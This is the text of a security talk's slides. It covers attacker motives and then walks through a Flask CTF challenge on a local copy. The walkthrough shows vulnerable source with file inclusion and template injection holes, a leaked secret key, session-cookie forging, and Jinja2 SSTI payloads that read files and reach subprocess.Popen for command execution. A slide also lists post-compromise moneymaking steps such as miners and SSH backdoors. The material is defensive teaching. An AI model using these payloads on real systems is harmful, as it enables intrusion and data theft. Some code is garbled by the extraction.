Application Hacking Though The Eyes Of An Attacker

Rob Hillier
• Security Consultant at XQCyber
  - previously Cisco, Portcullis and Context IS

• Security generalist

• Few exams OSCP, CCT Inf

• Help companies identify security vulnerabilities in web apps & infrastructure
• Attacks and Breeches are becoming more frequent, if we are not thinking like an attacker we will always be a step behind

• Conveying technical risk up the chain is hard – Hopefully some ideas following will help convert it to a business risk

• Revisit the basics and help to remove some of the shroud of complexity that shadows “Cyber”
# m h dom mon dow user   command
1  *  *  *  *   rob  Understanding The Attacker
5  *  *  *  *   rob  Why Me?
20 *  *  *  *   rob  A Determined Attacker
40 *  *  *  *   rob  Wrap Up

*  *  *  *  *    Audience Questions?!
Understanding The Attacker

Who

- Nation State
- Organised Crime
- Hactivism
- Opportunist

• Anonymous
• Green Peace

• Script kiddies
• Foreign nationals with little fear of repercussion
• It can be a job
Understanding The Attacker

Why
Understanding The Attacker

Why

- Ransomware
- Crypto Miners
- Botnets - DDoS
- Sell Access to install malware
- Banking Trojan
- Sell your personal information
- Fraud
  - Medical/Financial Data
  - Fake E-Commerce sites / Buying scams

Average cost of ransom: $1077

Cisco Talos estimates that an average system would generate about 28 cents of Monero per day – 2000 machines doing this gives $568 per day

Price for 50,000 bots with attack duration of 3600 secs (1 hour) and 5-10 minute cooldown time is approx 3-4k per 2 weeks

Understanding The Attacker

How

- Nation State
  - Who knows?
- Organised Crime
  - spear-phishing
  - deploying a botnet
  - subverting the supply chain
  - Access to “Zero Days” and Leaked Information
- Hactivism
  - Limited Access to “Zero Days” and Leaked Information
- Opportunist
  - phishing
  - water holing
  - Scanning
  - Credential Stuffing

Quantity

711 million email’s leaked
- 0.01% of people run attachment -> 71,000 users

SSH (Shodan 05/04) 19,476,021
- 0.1% 19,476
Why Me?

Opportunist attacks
- Your user opened an e-mail
- A user has the same credentials for linked in as work and you expose RDP/webmail
- Services exposed on the internet that aren't patched fast enough (e.g. Recent Drupal)

Fun test – Start up a vm on Digital Ocean or your perimeter and log what talks to it over a day

Hactivism / Organised Crime
- You do, work with people or sell something they disagree with
- You have something of value (IP, Card information etc.)

Nation State
- Who Knows?!
Scenario:

You are an attacker and find SSH credentials to a server that a developer left on Git.

These creds give you access to a static website hosted in isolation on an AWS instance – What do you do to make money?

- Install persistence (backdoor web app or OS)
- Install a crypto miner? Lazy but easy, picked up fast when AWS costs shoot up
- Hit the users with some crypto JS
- Add malicious documents to the site
- Browser autopwn
- Look on the filesystem for any other credentials (git keys?)
- Backdoor the ssh logon to get credentials for other users – force them to log on by powering off the host
- Look up other ssh services for that domain and attack them
- Bring about reputational damage and short sell stock
A Determined Attacker

Setting the Scene
An easy web CTF challenge from ASICS 2017 Finals called Golem

- Recon
- Exploiting simple LFI
- Exploiting poor data validation
- Using SSTI to get the Flag (and more)
- Other frameworks and SSTI in those
A Determined Attacker

Only in CTF's?
A Determined Attacker

Recon

Starting URL: http://localhost:5000/ (I setup a copy of this challenge for the talk as the official one has gone)
A Determined Attacker

Recon
A Determined Attacker

# A Determined Attacker

```python
#!/usr/bin/python

import os

from flask import (Flask,
                   render_template,
                   request,
                   url_for,
                   redirect,
                   session,
                   render_template_string)

from flask_session import Session

app = Flask(__name__)

execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key

@app.route('/golem', methods=['GET', 'POST'])
def golem():
    if request.method == 'POST':
        return redirect(url_for('index'))

    golem = request.form.get('golem') or None

    if golem is not None:
        golem = golem.replace('.', '').replace('_', '').replace('"', '').replace('"', '')

    if 'golem' not in session or session['golem'] is None:
        session['golem'] = golem

    template = None

    if session['golem'] is not None:
        template = '''
# % extends "layout.html"

<title>Golem Name</title>

Hello: %s, why you don't look at our <a href="/article?name=article">article</a>?

% endblock

print

session['golem'] = None

return render_template_string(template)```
A Determined Attacker

```python
@app.route("/", methods=['GET'])
def index():
    return render_template("main.html")

@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/rob/Workspace/Data/Brownbag/{}/'.format(page)).read()
    except Exception as e:
        template = e
    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)
```
A Determined Attacker

Action

```
key = '7h15_5h0uld_b3_r34ll3_5cur3d'
```

```
[Errno 2] No such file or directory: '/home/rob/Workspace/Data/Brownbag/notallowed.txt'
```
A Determined Attacker

A Bit About Flask

POST /golem HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0)
 Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB, en; q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

golem=test

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 552
Set-Cookie: sessionkey=1hb2xlb5f6wsvbnt0.DK52vA.vYyoF6q36KP-lG9f97gT-j00u0; HttpOnly; Path=/
Server: Werkzeug/0.12.2 Python/2.7.13
Date: Thu, 28 Sep 2017 11:51:24 GMT

</doctype html>
<html>
<head>
    <link rel='stylesheet' href='/static.css'/>
    <title> My Webpage</title>
</head>
<body>
    <div id="content">
        <h1>Golem Name</h1>
        <div class="row">
            <div class="col-md-6 col-md-offset-3 center">
                Hello : test, why don't you look at our <a href='/article?name=article'>article</a>?
            </div>
        </div>
    </div>
    <div id="footer">
        &copy; Copyright 1337 by <a href='http://domain.invalide">you</a>.
    </div>
</body>
A Determined Attacker

A Bit About Flask

Notes:
• It is base64 encoded (but removes padding)
• These are signed by the secret key to prevent tampering
• If they start with a "." they are compressed, can be uncompressed with python:

```python
zlib.decompress(base64.urlsafe_b64decode('.eJxNjrF.'))
```
A Determined Attacker

Spot The Mistake

```python
def golem():
    if request.method != "POST":
        return redirect(url_for("index"))

    golem = request.form.get("golem") or None

    if golem is not None:
        golem = golem.replace("\.", "").replace("_", "").replace("{", "").replace("}", "")

    if "golem" not in session or session["golem"] is None:
        session["golem"] = golem

    template = None

    if session["golem"] is not None:
        template = """{% extends "layout.html" %}
        {% block body %}
        <h1>Golem Name</h1>
        <div class="row">
            <div class="col-md-6 col-md-offset-3 center">
                Hello: %s, why you don't look at our &lt;a href='/article?name=article'&gt;article&lt;/a&gt;?
            </div>
        </div>
        {% endblock %}
        ""
```

A Determined Attacker

Using Our Info

```python
if session['golem'] is not None:
    template = '''{% extends "layout.html" %}
    {% block body %}
    <h1>Golem Name</h1>
    <div class="row">
        <div class="col-md-6 col-md-offset-3 center">
            Hello: %s, why you don't look at our <a href=\'/article?name=article'>article</a>?
        </div>
    </div>
    {% endblock %}
    ''' % session['golem']
```

https://github.com/noraj1337/flask-session-cookie-manager

Or set up our own flask App with the same Key (what I did at the time!)
A Determined Attacker

Server Side Template Injection

```
POST /golem HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1

Cookie: session=eyJnb2xlbSI6eyJtIiwiYXNzZSAiLCJpcCI6MTUxNjA4NjM1NiwibGlnaG9uZyI6MTA2NTI0ODIzNnl9.eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjE2Nzg3Njk1MjZ9.9FmVLCuIY61GJ-GJXv91t5uDhkDqtz8DfMewMyQvUQuO

Content-Type: text/html; charset=utf-8
Content-Length: 11

<html>
  <head>
    <link rel="stylesheet" href="/static/style.css" />
    <title> My Webpage </title>
  </head>
  
  <body>
    <div id="content">
    
      <h1>Golem Name</h1>
      
      <div class="row">
        <div class="col-md-6 col-md-offset-3 center">
          Hello : 14, why you don't look at our <a href="/article?name-"article">article</a>?
        </div>
      </div>
    </div>
    
    &copy; Copyright 1337 by <a href="http://domain.invalid">you</a>.
  </body>
</html>
```
A Determined Attacker

Server Side Template Injection

**Woooo We have code that is being evaluated on the server side that we control, never a good thing!**

In Flask some of that execution is sandboxed so it cant access all of the functionality that would be useful, good info here: [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/)

For our challenge we are trying to read the ‘Flag’ and we can see from the code this has been loaded into a variable. In flask this will end up being stored in config.items… well it was in the CTF but my mock up didn’t do that…

The CTF answer was to inject `{{ config.items() }}` , another place it might have been would have been in the “g” variable. `{{ g.FLAG }}` if they had added it to the global context.
A Determined Attacker

Server Side Template Injection

Golem Name

Hello: [JSON AS ASCII: True], (USE_X_SENDFILE: False), (SESSION_COOKIE_PATH: None), (SESSION_COOKIE_DOMAIN: None), (SESSION_COOKIE_NAME: 'Session'), (SESSION_REFRESH_EACH_REQUEST: True), (LOGGER_HANDLER_POLICY: 'always'), (LOGGER_NAME: '_main_'), (DEBUG: False), (SECRET_KEY: '135b3e6b84351e4acfe5f43b3c7f1f239152821ac6f05b856565d0e13'), (EXPLAIN_TEMPLATE_LOADING: False), (MAX_CONTENT_LENGTH: None), (APPLICATION_ROOT: None), (SERVER_NAME: None), (PREPARED_URL_SCHEME: 'http'), (JSONIFY_PRETTYPRINT_REGULAR: True), (TESTING: False), (PERMANENT_SESSION_LIFETIME: datetime.timedelta(31)), (PROPAGATE_EXCEPTIONS: None), (TEMPLATES_AUTO_RELOAD: None); (TRAP_BAD_REQUEST_ERRORS: False); (SESSION_COOKIE_HTTPONLY: True); (SEND_FILE_MAX_AGE_DEFAULT: datetime.timedelta(0, 43200)); (PRESERVE_CONTEXT_ON_EXCEPTION: None); (SESSION_COOKIE_SECURE: False); (TRAP_HTTP_EXCEPTIONS: False); why you don't look at our article?

© Copyright 1337 by you.

The basic summary is that in python we can use \_mro\_ to move up through inherited classes and \_subclass\_ to move back down. In essence we can use anything that has already been loaded.
A Determined Attacker

Back To The Attack

In our context we cant use `__class__` as it is outside of the sandbox. So we need an object which has a class inherited from object...

Well that's easy we have seen those before in config.items()

```python
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__(()) }}
```
A Determined Attacker

Winning

Let's use the `File` function to read our flag and win

```python
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]('/home/rob/Workspace/Data/Brownbag/flag.py').read() }}
```
A Determined Attacker

And The Money Shot?

Well that was fun, full RCE? Why not.

With access to all these objects, surely we can do more! Why yes there is a subprocess.Popen we can abuse!

```
python2 session_cookie_manager.py encode -s '7h15_5h0uld_b3_r34lly_53cur3d' -t '{"golem": "{
    config.items()[4][1].__class__.__mro__[2].__subclasses__()[229](['touch /tmp/test2'], shell=True) }}'}
```

More info on:

A Determined Attacker

Just Python Flask?

- Node JS (Jade)
- Java (Velocity, Freemarker)
- PHP (Smarty, Twig)
- DoT
- Jinja2

http://blog.portswigger.net/2015/08/server-side-template-injection.html
https://github.com/epinna/tplmap
Wrap up

• Think like an attacker when defending and question yourself and how you can use what you are exposing even if it is fully patched

• Attackers will stumble across anything exposed

• There is no silver bullet, defence in depth is important

• Have a back up plan!! (Quite literally for ransomware)

• If you are going to have external testing choose something that is appropriate
Another old school but fun challenge:

https://www.root-me.org/en/Challenges/Web-Client/HTTP-Response-Splitting
Small Security Company based in Tewksbury
- Consultancy Team (Pentesting, IR planning, Risk Planning)
- A tool called CyberScore

The questions we want to answer:
How can I have an ongoing understanding and visibility of my security posture?
Can I have visibility of my third party security risk?